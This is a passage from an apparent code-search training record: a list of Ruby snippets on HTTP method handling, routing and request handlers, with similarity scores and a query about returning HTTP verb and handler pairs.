"def method_tag\n method = options[:method]\n\n case method\n when /^get$/ # must be case-insensitive, but can't use downcase as might be nil\n options[:method] = 'get'\n ''\n when /^post$/, '', nil\n options[:method] = 'post'\n ''\n else\n options[:method] = 'post'\n Hidden.(value: method, name: '_method').to_s\n end\n end",
"def parse_action(env, action)\n action = (env['HTTP_X_HTTP_METHOD_OVERRIDE'] || action).strip.downcase\n case action\n when 'delete', 'get', 'head', 'post', 'put', 'patch', 'options'\n action.to_sym\n else\n raise HTTPException.new(501)\n end\n end",
"def halt_method(x = ['GET'])\n if !x.include?(request.request_method)\n halt 405\n end\n end",
"def request_method\r\n@request_method ||= check_method(env[\"REQUEST_METHOD\"])\r\nend",
"def request_method\n {:filter => :post,\n :sample => :get,\n :firehose => :get,\n :retweet => :get\n }.fetch(@path, :get)\n end",
"def http_method\n @http_method.to_s.upcase\n end",
"def authen_method=(val)\n if (val.kind_of?(Integer))\n @authen_method = val & 0xff\n elsif(val.kind_of?(String))\n raise ArgumentError, \"Value must be 1-byte, but was #{val.length}.\" if (val.length != 1) \n @authen_method = val.unpack('C')[0]\n else\n raise ArgumentError, \"Expected String or Integer, but #{val.class} provided.\" \n end\n return(nil)\n end",
"def method\n @method ||= options[:method]\n end",
"def method_missing(name, *args)\n @handler.send(name, *args)\n end",
"def callback_method=(callback_method)\n validator = EnumAttributeValidator.new('String', [\"POST\", \"GET\"])\n unless validator.valid?(callback_method)\n fail ArgumentError, \"invalid value for \\\"callback_method\\\", must be one of #{validator.allowable_values}.\"\n end\n @callback_method = callback_method\n end",
"def method\n request.method\n end",
"def method\n options[:method] || :get\n end",
"def handle\n model.before_action_hook(type, request)\n send(\"handle_#{type}\")\n end",
"def method\n parse_request! if @method.nil?\n @method\n end",
"def method_missing method, *opt\n method.to_s =~ /^do_[A-Z]+$/ ? process_request(*opt) : super\n end",
"def method\n @headers[\"REQUEST_METHOD\"].downcase.to_sym\n end",
"def lambda_handler(event:, context:)\n method = event['httpMethod']\n if method == 'GET'\n handle_get\n elsif method == 'POST'\n if event['body'] and store_score(event['body'])\n handle_post\n else\n handle_bad_request\n end\n else\n handle_bad_method(method)\n end\nend",
"def http(method, url, options = {}, &block)\n case method.to_s.downcase\n when *%w(get put head post delete options patch)\n send method, url, options, &block\n else\n raise \"Invalid method: #{method}\"\n end\n end",
"def request_method\n @request_method || :get\n end",
"def handle( request ) # note: all 'handle's return 'ml_response' in a chain\n\n ml_response =\n case\n when request.get? then handle_get_muffin(request)\n when request.post? then handle_post(request)\n end\n end",
"def method_missing(meth, *args)\n hyves_method = meth.to_s.gsub('_', '.')\n options = {:ha_method => hyves_method}\n options.merge!(args.first) if args.first.is_a?(Hash)\n hyves_log('Hyves', \"Sent request: #{options.inspect}\")\n response = request(options)\n hyves_log('Hyves', \"Got response: #{response.inspect}\")\n return response\n end",
"def method\n self.env['REQUEST_METHOD'].downcase.to_sym\n end",
"def handle_request(method, path, opts={})\n Amfetamine.logger.warn \"Making request to #{path} with #{method} and #{opts.inspect}\"\n case method\n when :get\n response = rest_client.get(path, opts)\n when :post\n response = rest_client.post(path, opts)\n when :put\n response = rest_client.put(path, opts)\n when :delete\n response = rest_client.delete(path, opts)\n else\n raise UnknownRESTMethod, \"handle_request only responds to get, put, post and delete\"\n end\n parse_response(response)\n end",
"def check_method_param(req)\n params = URI.decode_www_form(req.body)\n method_params = params.find { |param| param.first = \"_method\" }\n if method_params\n req.instance_variable_set(:@request_method, method_params[1])\n #!!!!!!!!!!!!!!!!!!!!!!!!!!\n end\n end",
"def set_handler(h, callback)\n\t\t@handler[h] = callback\n\tend",
"def handler(event, *meths)\n meths.each do |meth|\n events[event.to_sym] ||= []\n events[event.to_sym] << {type: :method, method: meth.to_sym}\n end\n self\n end",
"def transport_by_val(method=\"POST\", idx=0)\n return(self.get(idx)) if method==\"GET\"\n return(self.post) if method==\"POST\"\t\n\t\tend",
"def method\n controller.request.request_method\n end",
"def method_missing(method, *args)\n return super if args.length > 1 or block_given?\n if args.length == 0\n return super unless data.has_key?(method)\n get method\n else\n set method, args[0]\n end\n end",
"def handle(url, handler, default_data = {})\n unless @handlers[url]\n @urls << url\n @handlers[url] = [handler, default_data]\n end\n end",
"def type\n case super\n when 'get' then :get\n when 'set' then :set\n when 'result' then :result\n when 'error' then :error\n else nil\n end\n end",
"def add_handler(opts={})\n end",
"def httppost=(value)\n Curl.set_option(:httppost, value_for(value, :string), handle)\n end",
"def http_method(request)\n request.request_method\n end",
"def add_handler(command_name, argument_names, http_method, path, data, role_index=0, &blk)\n # validate name, args, and method\n if not RoleBuilderUtils::is_valid_identifier? command_name\n raise BadParameterException, (command_name + \" is not a valid command name.\")\n end\n argument_names.each { |i|\n if not RoleBuilderUtils::is_valid_identifier? i\n raise BadParameterException, (i + \" is not a valid argument name.\")\n end\n }\n if not [\"GET\", \"POST\", \"PUT\", \"DELETE\"].include? http_method\n raise BadParameterException, (http_method + \" is not a valid HTTP method (is it capitalized?)\")\n end\n\n new_handler = {\n \"name\" => RoleBuilderUtils::normalize_identifier(command_name),\n \"method\" => http_method,\n \"path\" => path,\n \"data\" => data\n }\n\n implementation[\"roles\"][role_index][\"handlers\"] << new_handler\n\n # Add the method that will execute for this handler\n sinatra_path = RoleBuilderUtils::arguments_and_path_to_sinatra_path(argument_names, path)\n if http_method == \"GET\"\n get(sinatra_path, &blk)\n elsif http_method == \"POST\"\n post(sinatra_path, &blk)\n else\n raise BadParameterException, (\"Unknown HTTP method '\" + http_method + \"'.\")\n end\n def clear_handlers\n # Resets the handler list.\n set :implementation, Sinatra::RoleBuilder.empty_handlers\n end\n end",
"def set_request; end",
"def method_missing( sym, req, *args )\n\t\tif MethodMap.key?( sym )\n\t\t\tstage = MethodMap[ sym ]\n\t\t\treq.server.log_error \"StageLogger {%d}>> in %s %s(%p, %p)\" % [\n\t\t\t\tProcess.pid,\n\t\t\t\tstage,\n\t\t\t\tsym,\n\t\t\t\treq,\n\t\t\t\targs\n\t\t\t ]\n\t\telse\n\t\t\treq.server.log_error \"StageLogger {%d}>> unknown handler: %s(%p, %p)\" % [\n\t\t\t\tProcess.pid,\n\t\t\t\tsym,\n\t\t\t\treq,\n\t\t\t\targs\n\t\t\t ]\n\t\tend\n\n\t\treturn Apache::OK\n\tend",
"def verb\n [\"get\", \"post\"].include?(raw_verb) ? raw_verb : \"post\"\n end",
"def assign_handler\n set_handler(:ok, method(:deactivate) )\n set_handler(:cancel, method(:deactivate) )\n end",
"def value=(new_value)\n method(@method).call(new_value) if @method\n case @type\n when :switch\n set_switch(new_value)\n when :variable, :bar\n set_variable(new_value)\n end\n end",
"def subject=(value)\n unless value =~ METHOD_DEF\n raise ArgumentError, \"not a method definition: #{value}\"\n end\n \n @method_name = $1\n @arguments = scan_args($2)\n \n super\n end",
"def method_symbol\r\nHTTP_METHOD_LOOKUP[method]\r\nend",
"def method_missing(meth, *args, &block)\n @value.send meth, *args, &block\n end",
"def invoke_method(request, response, _send_response = true)\n method = request.method\n\n return nil unless emit(\"beforeMethod:#{method}\", [request, response])\n return nil unless emit('beforeMethod', [request, response])\n\n if Server.expose_version\n response.update_header('X-Sabre-Version', Version::VERSION)\n end\n\n @transaction_type = method.downcase\n\n unless check_preconditions(request, response)\n @sapi.send_response(response)\n return nil\n end\n\n if emit(\"method:#{method}\", [request, response])\n if emit('method', [request, response])\n ex_message = \"There was no plugin in the system that was willing to handle this #{method} method.\"\n if method == \"GET\"\n ex_message += \" Enable the Browser plugin to get a better result here.\"\n end\n\n # Unsupported method\n fail Exception::NotImplemented, ex_message\n end\n end\n\n fail Exception, 'No subsystem set a valid HTTP status code. Something must have interrupted the request without providing further detail.' unless response.status\n\n return nil unless emit(\"afterMethod:#{method}\", [request, response])\n return nil unless emit('afterMethod', [request, response])\n\n # No need for checking, send_response just returns an array\n response = sapi.send_response(response)\n end",
"def http_method\n raise \"Implement in child class\"\n end",
"def set_end_handler(method)\n @end_handler = method\n end",
"def route(verb, path, &handler)\n @routes[verb] ||= {}\n @routes[verb][path] = handler\n end",
"def method_missing(method, *params, &block)\n @response.send(method, *params, &block)\n end",
"def handle\n RJR::Logger.info \"Dispatching '#{@method}' request with parameters (#{@method_args.join(',')}) on #{@rjr_node_type}-node(#{@rjr_node_id})\"\n retval = instance_exec(*@method_args, &@handler)\n RJR::Logger.info \"#{@method} request with parameters (#{@method_args.join(',')}) returning #{retval}\"\n return retval\n end",
"def allowed_method(method=nil)\n if method.class == Symbol && !block_given?\n @j_del.java_method(:allowedMethod, [Java::IoVertxCoreHttp::HttpMethod.java_class]).call(Java::IoVertxCoreHttp::HttpMethod.valueOf(method))\n return self\n end\n raise ArgumentError, \"Invalid arguments when calling allowed_method(method)\"\n end",
"def value=(new_value)\n case @type\n when :switch\n set_switch(new_value)\n when :variable, :bar\n set_variable(new_value)\n end\n method(@method).call(new_value) if @method\n end",
"def lambda_handler(event:, context:)\r\n method = event['httpMethod']\r\n\r\n case method\r\n when 'GET'\r\n get_scores\r\n when 'POST'\r\n manage_score(event['body'])\r\n end\r\nend",
"def request_method(query)\n (options[:method] || DEFAULT_METHOD).to_sym\n end",
"def GET; end",
"def handler_method\n # assumed CWD is where serverless.yml is.\n # At some point this might need to be configurable\n serverless_yml = YAML.safe_load(File.read('serverless.yml'))\n handler_config = serverless_yml['functions'][@function_name.to_s]['handler']\n HandlerMethod.new(handler_config)\n # handler name is either a global method or a static method in a class\n # my_method or MyModule::MyClass.my_method\n # handler_method_name, handler_class = handler_name.split('.').reverse\n # handler_class ||= 'Kernel'\n # klass = Object.const_get(handler_class)\n # klass.method(handler_method_name)\n end"
] | [
"0.71939635",
"0.7159462",
"0.6982221",
"0.6982221",
"0.69335437",
"0.6730909",
"0.6562484",
"0.6323994",
"0.617905",
"0.617905",
"0.61646706",
"0.61485004",
"0.61454594",
"0.6113104",
"0.6094643",
"0.60380816",
"0.6008632",
"0.6005134",
"0.5914227",
"0.5892399",
"0.5888219",
"0.58720803",
"0.58692235",
"0.5829192",
"0.58219606",
"0.5813183",
"0.5813183",
"0.5813183",
"0.58099484",
"0.58069575",
"0.5758793",
"0.57561004",
"0.575533",
"0.5746619",
"0.57449985",
"0.57382303",
"0.57335633",
"0.5723537",
"0.57129586",
"0.57129586",
"0.5710858",
"0.5689776",
"0.5684326",
"0.5684326",
"0.5681038",
"0.56576574",
"0.56563145",
"0.56526124",
"0.5638177",
"0.56377435",
"0.56207144",
"0.5612563",
"0.55885845",
"0.557545",
"0.55457985",
"0.5541607",
"0.5539627",
"0.5531398",
"0.55190337",
"0.55139405",
"0.5503429",
"0.5486263",
"0.54691845",
"0.5456133",
"0.5444559",
"0.5440813",
"0.54375625",
"0.5434861",
"0.54314375",
"0.5425736",
"0.5423873",
"0.5420818",
"0.5420308",
"0.5419438",
"0.54120266",
"0.53963995",
"0.5378781",
"0.53759015",
"0.5373524",
"0.53731906",
"0.53728324",
"0.5348044",
"0.5343252",
"0.5336943",
"0.5321958",
"0.5321358",
"0.531959",
"0.5314613",
"0.5308346",
"0.53055143",
"0.52984023",
"0.5292334",
"0.52855533",
"0.5283113",
"0.5280988",
"0.5279287",
"0.52786076",
"0.5277746",
"0.5275226",
"0.5273437"
] | 0.7760868 | 0 |
Returns an array of pairs of array with [HTTPverbs, handler] an extra item is the :default handler NB: could also be a hash, but I'm fine with it | def handlers
HTTP_METHODS.map do |sym|
[sym, send(sym)]
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def verbs\n (@verb.downcase.presence || 'get').split('|')\n end",
"def http_methods(_path)\n []\n end",
"def handlers\n @handlers ||= Hash.new do |hash, key|\n if key.nil?\n raise NoHandler\n else\n raise InvalidHandler, key\n end\n end\n end",
"def handlers\n @handlers ||= {}\n end",
"def scheme_handlers\n @agent.scheme_handlers\n end",
"def __handlers\n @__handlers ||= Hash.new([])\n end",
"def allowed_methods( path_components )\n\t\ttype = path_components.empty? ? :collection : :single\n\t\tallowed = HTTP_METHOD_MAPPING[ type ].keys.\n\t\t\tfind_all {|msym| self.respond_to?(msym) }.\n\t\t\tinject([]) {|ary,msym| ary << HTTP_METHOD_MAPPING[type][msym]; ary }\n\n\t\tallowed += ['HEAD'] if allowed.include?( 'GET' )\n\t\treturn allowed.uniq.sort\n\tend",
"def extract_handler_method(args)\n handler = nil\n\n if method_defined?(args.last)\n handler = args.last\n args.delete_at(-1)\n\n else\n handler = :handle\n end\n\n [handler, args]\n end",
"def http_methods\n reload if executed_requests['GET'].nil? || executed_requests['GET']['headers'].nil? || executed_requests['GET']['headers'].empty?\n (executed_requests['GET']['headers']['Allow'] || \"GET\").split(/,\\s*/)\n end",
"def handlers_idx; end",
"def _handlers\n @handlers ||= {}\n end",
"def handlers; end",
"def handlers; end",
"def handlers; end",
"def handlers=(_arg0); end",
"def other_http_verbs_than(*verbs)\n http_verbs - verbs.flatten.map(&:to_s).map(&:downcase).map(&:to_sym)\n end",
"def [](verb)\n return (@actions ||= []).find { |x| x.verb == verb.to_sym }\n end",
"def named_routes\n return [] unless app_obj.respond_to?(:routes)\n\n app_obj.routes.map { |route|\n request_method = route.request_methods.first\n next if !route.name || request_method == 'HEAD'\n route_name = route.name.to_s\n route_name =\n if route.controller\n route_name.split(\" \", 2).map{|name| \":#{name}\" }.join(\", \")\n else\n \":#{route_name}\"\n end\n name_array = \"(#{route_name})\"\n original_path = route.original_path.is_a?(Regexp) ? route.original_path.inspect : route.original_path\n full_path = File.join(uri_root, original_path)\n OpenStruct.new(:verb => request_method, :identifier => route.name, :name => name_array, :path => full_path)\n }.compact\n end",
"def routes_method\n @routes_method ||= Proc.new do\n base_application.routes.routes.map do |route|\n next unless route.defaults.has_key?(:controller) &&\n controller_const = \"#{route.defaults[:controller]}_controller\"\n .classify\n .constantize rescue nil\n\n http_methods = (\n route.verb.is_a?(Regexp) ?\n route.verb.inspect.gsub(/[\\/\\$\\^]/, '') :\n route.verb\n ).split(\"|\")\n\n {\n alias: route.name,\n path: route.path.spec.to_s,\n controller_name: route.defaults[:controller],\n controller: controller_const,\n action: route.defaults[:action],\n http_methods: http_methods\n }\n end.compact\n end\n end",
"def scheme_handlers; end",
"def scheme_handlers; end",
"def scheme_handlers=(_arg0); end",
"def defaults default_verb=nil\n default_verb = (default_verb || 'get').to_s.downcase\n\n (@ctrl.actions - @actions).each do |action|\n verb, path = DEFAULT_ACTION_MAP[action]\n verb, path = [default_verb, \"/#{action}\"] if verb.nil?\n\n add(verb, action, path) unless verb.nil? ||\n @routes.any?{|(r,n,(c,a,p))| r == make_route(verb, path)[0] }\n end\n end",
"def supported_handlers\n @@supported_handlers\n end",
"def resources_for http_verb, path\n param_vals = []\n curr_node = @routes_tree[http_verb.to_s.downcase]\n return unless curr_node\n\n path.scan(%r{/([^/]+|$)}) do |(key)|\n next if key.empty?\n\n if curr_node[key]\n curr_node = curr_node[key]\n\n elsif curr_node[\"%s\"]\n param_vals << key\n curr_node = curr_node[\"%s\"]\n\n else\n return\n end\n end\n\n return unless curr_node.value\n rsc = curr_node.value.dup\n\n rsc[-1] = param_vals.empty? ?\n Hash.new :\n rsc[-1].inject({}){|h, name| h[name] = param_vals.shift; h}\n\n rsc\n end",
"def actions\n actions = ((self.instance_methods(false) - ::Object.methods) + (@action_aliases||{}).keys).\n reject { |a| a.to_s =~ /__appetite__/ }.\n map { |a| a.to_sym }\n return actions if actions.size > 0\n\n define_method :index do |*|\n 'Get rid of this placeholder by defining %s#index' % self.class\n end\n\n [:index]\n end",
"def _parse_handlers(handler_string)\n\n return [] unless handler_string\n\n handler_list = []\n handler_list = handler_string.split(\",\")\n\n puts \"Got handlers: #{handler_list}\" if @debug\n\n handler_list\n end",
"def defaults\n @_default_routes = []\n [:get, :post, :put, :delete].each do |verb|\n @_default_routes << RouteObject.new(\"/:controller/:action/:id\", :method => verb)\n @_default_routes << RouteObject.new(\"/:controller/:action\", :method => verb)\n end\n end",
"def prioritized_handlers\n Enumerator.new do |yielder|\n priorities = (registered_handlers.keys | block_handlers.keys).sort!\n priorities.uniq!\n priorities.each do |priority|\n if registered_handlers.key?(priority)\n collected_handlers = registered_handlers[priority].to_a\n end\n if block_handlers.key?(priority)\n temp_handlers = block_handlers[priority].to_a\n if collected_handlers\n collected_handlers.concat(temp_handlers)\n else\n collected_handlers = temp_handlers\n end\n end\n collected_handlers.sort_by!(&:name)\n collected_handlers.uniq!\n collected_handlers.each { |handler| yielder << handler }\n end\n end\n end",
"def build_handler_list(plugins); end",
"def connection_handlers\n @connection_handlers ||= [\n proc do |conn|\n conn.request :json\n if @oauth2\n conn.request :oauth2, @oauth2.token, :token_type => @oauth2.token_type\n end\n end,\n proc do |conn|\n if @logging\n conn.response :logger, nil, :bodies => (@logging.casecmp('DEBUG') == 0)\n end\n conn.response :json, :content_type => /\\bjson$/\n end,\n proc{|conn| conn.adapter Faraday.default_adapter }\n ]\n end",
"def routes_normal\n return Array.new\n end",
"def connection_handlers\n @connection_handlers ||= [\n proc do |conn|\n conn.request :json\n if @oauth2\n conn.request :oauth2, @oauth2.token, :token_type => @oauth2.token_type\n end\n end,\n proc do |conn|\n if @logging\n conn.response :logger, nil, :bodies => (@logging.casecmp('DEBUG') == 0)\n end\n conn.response :json, :content_type => /\\bjson$/\n end,\n proc{|conn| conn.adapter Faraday.default_adapter }\n ]\n end",
"def _parse_handlers(handler_string)\n return [] unless handler_string\n\n handler_list = []\n handler_list = handler_string.split(\",\")\n\n handler_list\n end",
"def rest_routes\n\t\t\t\t\t[\n\t\t\t\t\t\t{ method: :GET, path: '/', action: :index },\n\t\t\t\t\t\t{ method: :POST, path: '/', action: :create },\n\t\t\t\t\t\t{ method: :GET, path: '/', action: :show },\n\t\t\t\t\t\t{ method: :PUT, path: '/', action: :update },\n\t\t\t\t\t\t{ method: :DELETE, path: '/', action: :delete }\n\t\t\t\t\t]\n\t\t\t\tend",
"def route(verb, path, &handler)\n @routes[verb] ||= {}\n @routes[verb][path] = handler\n end",
"def handlers\n {\n Api::Type::Boolean => ->(v) { v ? 'true' : 'false' },\n Api::Type::Constant => ->(v) { quote_string(v.upcase) },\n Api::Type::Double => ->(v) { v },\n Api::Type::Enum =>\n ->(v) { quote_string(v.is_a?(Symbol) ? v.id2name : v.to_s) },\n Api::Type::Integer => ->(v) { v },\n Api::Type::String => ->(v) { quote_string(v) },\n Api::Type::Time => ->(v) { quote_string(v.iso8601) },\n Api::Type::Array => ->(v) { format_values('[', v, ']') },\n Api::Type::NestedObject => ->(v) { format_values('{', v, '}') },\n Api::Type::NameValues => ->(v) { format_values('{', v, '}') },\n Api::Type::ResourceRef => ->(v) { quote_string(v) },\n Api::Type::Array::STRING_ARRAY_TYPE =>\n ->(v) { ['[', v.map { |e| quote_string(e) }.join(', '), ']'].join },\n Api::Type::Array::RREF_ARRAY_TYPE =>\n ->(v) { ['[', v.call(exported_values: false).join(', '), ']'].join }\n }.freeze\n end",
"def assign_handler\n set_handler(:continue, method(:continue_action) )\n set_handler(:block, method(:block_action) )\n set_handler(:ok, method(:continue_action) )\n set_handler(:cancel, method(:block_action) )\n end",
"def supported_handlers\n @supported_handlers ||=\n enabled_handlers.select do |klass|\n klass.supports?(resource, action)\n end\n end",
"def handler_method; end",
"def make_handlers(*args)\r\n make :handler, *args\r\n end",
"def gather_endpoints_to_check\n Rails.application.routes.routes.map do |route|\n verb = route.verb.downcase.to_sym\n example_path = route.path.spec\n .to_s.gsub('(.:format)', '')\n .gsub(/:([^\\/]+)/,'SOME_PLACEHOLDER_PARAM')\n .gsub('*path', 'SOME_PLACEHOLDER_PATH')\n .gsub('*filename','SOME_PLACEHOLDER_FILENAME')\n next unless verb.present?\n [verb, example_path]\n end.compact\n end",
"def available_verbs\n\t\treturn Verbs::VERBS.values\n\tend",
"def callback_actions_for(method, type)\n if self.callback_actions[method].nil?\n callback_actions = []\n else\n callback_actions = self.callback_actions[method][type] ||= []\n end\n \n#Removed this because this didn't work\n#callback_actions_for is called four times with every callback method:\n# before, before metaclass, after, after metaclass\n# And a class and metaclass both now the #{type}_#{method} method\n# So it got called twice\n# if self.instance_methods.include?(\"#{type}_#{method}\")\n# if not callback_actions.include? \"#{type}_#{method}\".to_sym\n# callback = self.add_callback_action(type, method, \"#{type}_#{method}\".to_sym)\n# callback_actions << callback\n# end\n# end\n\n #TODO: order by options[:priority]\n return callback_actions \n end",
"def resource_handlers\n [\n IMS::LTI::Models::ResourceHandler.from_json(\n resource_type: { code: 'sumbissions' },\n resource_name: { default_value: 'Similarity Detection Tool', key: '' },\n message: [basic_message(\n path: '/submission/index',\n capabilities: %w(Canvas.placements.accountNavigation Canvas.placements.courseNavigation)\n )]\n ),\n IMS::LTI::Models::ResourceHandler.from_json(\n resource_type: { code: 'placements' },\n resource_name: { default_value: 'Similarity Detection Tool', key: '' },\n message: [basic_message(\n path: '/assignments/configure',\n capabilities: %w(Canvas.placements.similarityDetection)\n )]\n )\n ]\n end",
"def route(verb, path, &handler)\n # Create a hash for the verb if it is the first time\n @routes[verb] ||= {}\n @routes[verb][path] = handler\n end",
"def handlers\n {\n Api::Type::Boolean => ->(v) { v ? 'true' : 'false' },\n Api::Type::Constant => ->(v) { quote_string(v.upcase) },\n Api::Type::Double => ->(v) { v },\n Api::Type::Enum =>\n ->(v) { quote_string(v.is_a?(Symbol) ? v.id2name : v.to_s) },\n Api::Type::Integer => ->(v) { v },\n Api::Type::String => ->(v) { quote_string(v) },\n Api::Type::Time => ->(v) { quote_string(v.iso8601) },\n Api::Type::Array => ->(v) { format_values('[', v, ']') },\n Api::Type::NestedObject => ->(v) { format_values('{', v, '}') },\n Api::Type::ResourceRef => ->(v) { quote_string(v) },\n Api::Type::Array::STRING_ARRAY_TYPE =>\n ->(v) { ['[', v.map { |e| quote_string(e) }.join(', '), ']'].join },\n Api::Type::Array::RREF_ARRAY_TYPE =>\n ->(v) { ['[', v.call(exported_values: false).join(', '), ']'].join },\n Api::Type::NameValues => ->(v) { format_values('{', v, '}') }\n }.freeze\n end",
"def handlers\n @handlers ||= Set.new\n end",
"def action_routes action\n request_methods, route = REQUEST_METHODS, action.to_s\n REQUEST_METHODS.each do |m|\n regex = /\\A#{m}_/i\n if route =~ regex\n request_methods = [m]\n route = route.sub regex, ''\n break\n end\n end\n\n route.size == 0 && raise('wrong action name \"%s\"' % action)\n\n path_rules.keys.sort.reverse.each do |key|\n route = route.gsub(key.is_a?(Regexp) ? key : /#{key}/, path_rules[key])\n end\n\n pages, dirs = [], []\n path = rootify_url(base_url, route)\n pages << {nil => [path, nil]}\n dirs << {nil => [rootify_url(base_url), path]} if route == APPETITE__INDEX_ACTION\n\n ((@action_aliases||{})[action]||[]).each do |url|\n pages << {nil => [rootify_url(base_url, url), nil]}\n end\n\n canonicals.each do |c|\n canonical_path = rootify_url(c, route)\n pages << {nil => [canonical_path, path]}\n dirs << {nil => [rootify_url(c), path]} if route == APPETITE__INDEX_ACTION\n end\n pages.each do |page|\n format?(action).each { |format| page[format] = page[nil].first + format }\n end\n [request_methods, pages + dirs].freeze\n end",
"def routes\n routes = {}\n self.class.each_route do |route|\n #routes[:name] = route.app.name # \"SomeSinatraApp\"\n info = {}\n routes[route.path.to_s.to_sym] = info # that's the path given as argument to get and akin\n info[:verb] = route.verb # get / head / post / put / delete\n info[:file] = route.file # \"some_sinatra_app.rb\" or something\n info[:line] = route.line # the line number of the get/post/... statement\n info[:pattern] = route.pattern # that's the pattern internally used by sinatra\n info[:keys] = route.keys # keys given when route was defined\n info[:conditions] = route.conditions # conditions given when route was defined\n info[:block] = route.block # the route's closure\n end\n routes\n end",
"def get_responding_methods\n meth_responses = {}\n @responding_methods.each do |meth|\n begin\n if meth.is_a? Hash\n meth.each_pair { |k,v| meth_responses[k.to_sym] = @responding_object.send(k, *v) }\n else\n meth_responses[meth.to_sym] = @responding_object.send(meth)\n end\n rescue Exception => e\n if meth.is_a? Hash\n meth.each_pair { |k,v| meth_responses[k.to_sym] = \"#{e.class}: #{e.message}\" }\n else\n meth_responses[meth.to_sym] = \"#{e.class}: #{e.message}\"\n end\n end\n end\n self.responding_methods = meth_responses\n end",
"def model_verbs_and_routes(model)\n routes = Daylight::Documentation.routes.routes.select {|route| route.path.spec.to_s.include? \"/#{model.name.underscore.pluralize}\" }\n\n routes.each do |route|\n yield route_verb(route), route.path.spec, route.defaults\n end\n end",
"def handle_help\n self.methods.grep(/^handle_(.*?)/).map {|m| m.to_s.sub(/^(.*?)_/, '')}\n end",
"def verb_for_action\n SkinnyControllers.action_map[action_name] || SkinnyControllers.action_map['default']\n end",
"def define_handler(*extensions, &block)\n @handlers += extensions.map { |ext| [ext, block] }\n end",
"def http_verb(params)\n [:post, :put, :delete].detect { |method_name|\n params.key?(method_name)\n } || :get\n end",
"def index\n\n respond_to do |format|\n format.html do # index.html.erb\n @handler = params[:handler] || 'glassware'\n @all_handlers = ObjectType.pluck(:handler).uniq.sort\n @first = !@all_handlers.empty? ? @all_handlers[0] : 'no handlers'\n @object_types = ObjectType.all.sort_by(&:name)\n render layout: 'aq2'\n end\n format.json { render json: ObjectType.all.collect { |ot| { name: ot.name, handler: ot.handler } } }\n end\n\n end",
"def parse_routes!\n allowed_routes.each do |route|\n if (endpoint = endpoints.find_from_route(route))\n endpoint.merge_http_methods!(route[:http_methods])\n else\n controller = controllers.find_or_create_from_route(route)\n endpoint = endpoints.create_from_route(route, controller)\n\n controller.add_endpoint(endpoint)\n end\n end\n end",
"def initialize app=nil\n @app = app\n\n self.class.endpoints.values.flatten.each do |endpoint|\n endpoint.action_handler ||= method :default_action\n endpoint.api_doc_handler ||= method :default_api_doc\n endpoint.error_handler ||= method :default_error\n endpoint.validation_error_handler ||= method :default_validation_error\n end\n end",
"def register_handler(action, &handler)\n @actions[action] = [] if @actions[action].nil?\n @actions[action] << handler\n end",
"def handler_base_class; end",
"def key_http_verb(verb)\n key = verb.to_s.downcase.to_sym\n key if http_verbs.include?(key)\n end",
"def http_methods(path, http_verb, data = '', content_type = 'application/json')\n uri = URI(path.to_s)\n headers = {\n 'Content-Type' => 'application/json'\n }\n case http_verb\n when :get\n http_method = Net::HTTP::Get.new(uri, headers)\n http = Net::HTTP.new(uri.host, uri.port)\n return http.request(http_method)\n # return Net::HTTP.get(uri)\n when :put\n http_method = Net::HTTP::Put.new(uri, headers)\n when :post\n http_method = Net::HTTP::Post.new(uri, headers)\n when :delete\n http_method = Net::HTTP::Delete.new(uri, headers)\n else\n # Throw / log exception\n end\n # Request with body for Post/Put verbs and return response\n http_method.body = data.to_json unless data.nil?\n http = Net::HTTP.new(uri.host, uri.port)\n http.request(http_method)\n end",
"def verb_path\n return nil if @binding.nil?\n\n {\n get: @binding.get,\n post: @binding.post,\n put: @binding.put,\n patch: @binding.patch,\n delete: @binding.delete\n }.find { |_, value| !value.empty? }\n end",
"def handle(url, handler, default_data = {})\n unless @handlers[url]\n @urls << url\n @handlers[url] = [handler, default_data]\n end\n end",
"def soap_actions\n @soap_actions ||= stream.operations.keys\n end",
"def method_missing(meth,*a,&block)\n (methods[meth] ||= []) << a\n methods[meth].flatten!\n end",
"def default_handler\n @default_handler\n end",
"def []( name )\n _handlers[name]\n end",
"def parse_bindings http\n return [] if http.nil?\n\n raw_binds = [http] + http.additional_bindings.to_a\n raw_binds.map { |raw_bind| HttpBinding.new raw_bind }\n end",
"def actions\n @actions ||= self.class.registered_actions.inject({}){ |res, name| res.merge(name.to_sym => normalize_action_config(send(ACTION_METHOD_NAME % name))) }\n end",
"def recognized_routes_for(env)\n Array(router.recognize(env).first)\n end",
"def handler_for(path)\n handler[ path.split('.').last ]\n end",
"def verb\n [\"get\", \"post\"].include?(raw_verb) ? raw_verb : \"post\"\n end",
"def setup_default_handlers\n # Incoming events\n prepend_handler :incoming_msg, self.method(:r_msg)\n prepend_handler :incoming_act, self.method(:r_act)\n prepend_handler :incoming_notice, self.method(:r_notice)\n prepend_handler :incoming_ctcp, self.method(:r_ctcp)\n prepend_handler :incoming_ctcpreply, self.method(:r_ctcpreply)\n prepend_handler :incoming_mode, self.method(:r_mode)\n prepend_handler :incoming_join, self.method(:r_join)\n prepend_handler :incoming_part, self.method(:r_part)\n prepend_handler :incoming_kick, self.method(:r_kick)\n prepend_handler :incoming_quit, self.method(:r_quit)\n prepend_handler :incoming_nick, self.method(:r_nick)\n prepend_handler :incoming_miscellany, self.method(:r_miscellany)\n\n # Incoming numeric events here\n prepend_handler :incoming_welcome, self.method(:r_welcome)\n prepend_handler :incoming_bannedfromchan, self.method(:r_bannedfromchan)\n prepend_handler :incoming_badchannelkey, self.method(:r_badchannelkey)\n prepend_handler :incoming_nicknameinuse, self.method(:_nicknameinuse)\n prepend_handler :incoming_channelurl, self.method(:r_channelurl)\n prepend_handler :incoming_topic, self.method(:r_topic)\n prepend_handler :incoming_topicinfo, self.method(:r_topicinfo)\n prepend_handler :incoming_namreply, self.method(:_namreply)\n prepend_handler :incoming_endofnames, self.method(:r_endofnames)\n prepend_handler :incoming_motd, self.method(:r_motd)\n prepend_handler :incoming_motdstart, self.method(:r_motdstart)\n prepend_handler :incoming_endofmotd, self.method(:r_endofmotd)\n prepend_handler :incoming_invite, self.method(:r_invite)\n\n # Outgoing events\n prepend_handler :outgoing_begin_connection, self.method(:out_begin_connection)\n end",
"def actions\n []\n end",
"def methds\n [ :name, :description, :handle, :url, :created_at, :updated_at ]\n end",
"def my_routes\n my_routes = []\n exceptions = %w(Login Signin)\n self.class.routes['GET'].each do |r|\n route = r.first.to_s.gsub(/\\W+|mix/,'').capitalize\n my_routes << route unless exceptions.include?(route)\n end\n return my_routes\n end",
"def get_verbs\n @verbs ||= self.verbs\n end",
